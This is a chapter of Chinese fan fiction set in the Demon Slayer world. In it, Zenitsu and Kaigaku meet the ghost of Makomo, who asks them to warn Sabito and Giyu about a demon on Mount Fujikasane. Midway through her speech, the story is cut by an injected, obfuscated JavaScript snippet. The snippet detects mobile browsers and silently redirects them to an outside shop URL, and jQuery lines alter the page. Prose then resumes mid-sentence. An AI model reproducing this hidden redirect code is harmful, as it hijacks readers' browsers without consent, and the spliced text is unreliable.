“喂,废物你怎么这么容易晕倒。”善逸一醒过来就看到狯岳掐着他的人中,旁边的锖兔和义勇好奇地围观。
义勇牵着锖兔的手紧了紧,还好他的师兄比较温柔,不会掐人中,不会晃他脑袋,也不会叫他废物。
“呜哇师兄我遇到鬼了啊,真正的鬼啊啪的一下子就出现了啪的一下子又消失了啊!呜呜呜好吓人我就知道这个山这么阴森会藏着奇怪的东西啊,师兄我们赶紧回桃山去吧!”善逸手舞足蹈地描述自己的遇鬼经历。
义勇难受地捂着自己的耳朵,好吧他理解了他师兄为什么温柔了,毕竟他这样话少懂事的师弟也是少数啊。
“呵呵,”锖兔的眼中突然发出奇怪的光芒:“说起来我的确听师父讲过类似的传说呢,据说在大雾弥漫的山中迷路的旅人,会遇到容貌昳丽的女子,她会哄骗过路人去她家做客,然后趁路人不注意的时候露出后脑勺上长满尖牙的嘴,将路人的脑袋给咬掉…”
“啊啊啊啊啊!”善逸发出了震撼山谷的尖叫,狯岳不得不捏着他的下巴防止他再次晕倒,“哪里有什么鬼?!不要再逗这个胆小鬼玩了!”
义勇崇拜地看向锖兔:“师兄真厉害,编故事也要比别人的生动!”
善逸送给他一个鄙视的眼神,师兄师兄,只会缠着师兄的家伙!
善逸就这样担惊受怕地呆到了晚上,在深夜的时候他悄悄地缠上了狯岳。
“废物,大晚上不睡觉干嘛?”被吵醒的狯岳面色不善。
“师兄,我听到鳞泷先生那边的屋子有奇怪的声音,”他疑神疑鬼地说,“我们过去打探一下吧,我怀疑是我白天见到的鬼。”
狯岳受不住他的纠缠:呜呜呜如果搞不清楚真菰的事情的话就害怕得睡不着觉只能晚上窝在师兄怀里这种话。
他不情不愿地起身,两人一高一低地叠在墙角,看着鳞泷左近次从屋中走出,消失在屋后的树林中。
“师父每晚都会去那个地方。”锖兔不知道何时出现在了他们身后,狯岳未雨绸缪堵住了善逸要发出尖叫的嘴。
“师父他…要去祭拜那些参加藤袭山选拔没能回来的孩子们。”
“师父除了我和义勇,也曾经培育过很多孩子,但是他们很多都没能从藤袭山活着回来。”
“他为我和义勇设下了劈开巨石才能去参加选拔的任务,只是想让我们知难而退不要去藤袭山。但是我和义勇还是做到了,他不得不妥协。”
“他握着我和义勇的手告诉我们,我们是历年来最强的弟子,所以我们务必要在选拔中互相帮助…一起活着回来。”
“但是能有什么办法呢?”锖兔牵强地笑了:“大家都觉得如果连藤袭山都坚持不过去的话,也会死在杀鬼的路上,能顺利活到退休的鬼杀队剑士也只是少数…除非恶鬼都被消灭掉,不然这样的牺牲就永远无法结束。”
“但我不认可所谓有意义的牺牲,我努力地让自己变强,我想要…靠自己的力量保护所有人,保护重要的师父和义勇,保护普通人,也保护鬼杀队的剑士们。”
“蠢货,”狯岳不认可他的想法:“你这家伙连自己的命都把握不住,竟然妄想保护所有人。”如果他真的有做到的话,他就不会在鬼杀队中从未听说过锖兔这个名字了。
“强大的人,不应该被弱者拖累。”
“不,狯岳你想错了。我的强大就是为了守护弱小者而存在的,而即使为保护他们而死去,遗留下的希望也会在他们心中发芽,诞生更多的守护他人的强大的人。”
回到屋中,善逸依旧翻来覆去睡不着。
“干什么,你不是已经知道了外面的声音不是因为你口中的鬼了吗?”
“师兄,”善逸爬到他面前,一脸认真地说:“我觉得我遇到的那个女孩真菰就是鳞泷先生死在藤袭山的徒弟,我感觉她白天的时候有话想对我说,但是没能说完就消失了。”
“师兄你陪我去吧,我想知道到底怎样能避免锖兔口中有意义的牺牲。”
“你不是怕鬼吗?你就不担心她索你命了?”狯岳问道。
善逸帅了没三秒:“所以才拜托师兄陪我一起去啊!晚上路上黑黝黝的还都是坟墓啊啊啊!师兄你遇到鬼了一定要保护我啊!不可以把我扔下就跑!”
“啧,烦人精。”狯岳虽然一脸嫌弃,还是起身穿好衣服:“如果你又吓晕了,我就把你扔到坟堆里。”
“呜哇!师兄你怎么能这么残忍啊!”
善逸扯着狯岳的袖子,窝着身体小心地跟在他身后。
他们顺着屋后的山路,走到了一片隐秘的荒地。
这里立着一排排刻着名字的衣冠冢,那是鳞泷左近次为尸骨都无法带回的孩子们建立的最后的归宿。
淡淡的月光穿透薄雾,撒在冰冷的荒地。
“旅人旅人…为什么哭…因为翻过山越过海…看见了好不容易回到的故乡,寺庙里的葱花球…”
空灵的童谣声在寂静的坟冢间回荡,善逸脸吓得都要比鬼白了。
他们看到真菰坐在最前方的墓碑上,晃动着双腿,轻哼着不知名的童谣。
“真菰…”善逸小声唤她。
真菰从墓碑上跃下,“你们终于来了。”她的周身漂浮着细碎的光点,温柔地亲吻她的指尖。
“这些光点,也是鳞泷老师的孩子们…他们在藤袭山丧命,因为对老师的思念又回到了这里。可是老师看不到我们,也听不见我们的声音。”
“只有你们是特殊的,”真菰轻声说:“在我们的世界里,你们的灵魂缠绕着不息的雷光,撕扯着你们周身生与死的界限,让你们拥有了在现世看见我们的能力。”
狯岳不禁握紧拳头,这是轮回带给他的能力吗,雷电?
“你白天的时候,没有说完的话是什么呢?”善逸问道。
“我想请你们帮忙告诉锖兔和义勇…在藤袭山中有专门埋伏水呼的恶鬼,他会攻击戴有消灾面具的剑士。我们就是死在了恶鬼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052083|194822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的手里。”
“我不希望再有人牺牲在那里了…我看着义勇和锖兔努力地成长,我不希望他们和我一样,默默无闻地折在了藤袭山。他们很强,可以成长为优秀的剑士,可以帮助更多的人。”
月光照亮她玻璃般清澈的蓝色眼睛:“拜托你们,请不要告诉鳞泷老师,我们不希望他为此感到愧疚,他是那样爱着我们每一个人,可是我们并没能战胜强大的恶鬼。”
她将一个脸颊绘着蓝色花朵的狐狸面具交给了他们,那是她唯一的遗物。
回去的时候,锖兔一个人蹲坐在后屋的门口。
“找到鬼了吗,小善逸。”他打趣着善逸。
“那是你的师姐。”善逸拿出狐狸面具,将真菰的故事转告给了他。
“所以之前有十二个孩子折在了藤袭山吗?竟然是专门针对大家的恶鬼…”锖兔悲伤地看着面具,鳞泷老师知道的话,肯定会很伤心的。
“我知道了,我会解决掉那个藏匿的恶鬼,为死在他手中的孩子们报仇的。”
“我也会去参加今年的藤袭山选拔。”狯岳回道。
“欸?!”善逸一脸震惊:“师兄你不和我一起吗?!我们不应该一起去参加藤袭山选拔吗?!”
“我已经能掌握壹之型了,我的时间不允许我继续等待下去。至于你,等你成长到能够彻底掌握雷之呼吸的其他型,再考虑去参加藤袭山选拔吧。”
都怪自己现在太弱小了,善逸低落地想,帮不上师兄的忙只能乖乖地呆在桃山。结果他和师兄才再相遇多久,马上又要分离了吗。师兄怎么总是急切地走在他的前方呢。
“我不是嫌弃你!”狯岳拽了拽他的黄发,“笨蛋!你能不能看看你现在才多大。你是还没断奶的崽子吗,天天要人陪着才行。”
天呢,善逸流泪,师兄竟然开始关心他了,好感动。
“你们师兄弟关系真好呢。”锖兔暗下决心,这次藤袭山选拔,他也要保护好他的师弟。
第二天桑岛慈悟郎接两个小徒弟回桃山,临行的路上,锖兔和义勇为他们送行。
“狯岳,”锖兔露出一个坚定的笑容:“我们在藤袭山汇合,一起活着出来吧。”
“我是不会死在那种地方的。”狯岳冷漠地回复:“我会好好地活下去,比所有人都活得更久活得更好。”
在小路上方的树枝上,真菰望着即将离去的两人挥了挥手。
善逸一只手提着锖兔和义勇送给他的饭团,另一只手激动地挥着同她告别。
义勇顺着锖兔的视线,看向空无一人的树枝。
“师兄,你在看什么呢?树上什么都没有啊。”
锖兔摸摸他的头,笑得很开心:“我啊,我刚刚在看我们的守护神。”
“守护神?”义勇迷惑地观察着树枝,怎么看都只是普通的树枝啊?
锖兔只是透过空无一人的树枝找寻着真菰的灵魂。
“...老师和我们的守护神。”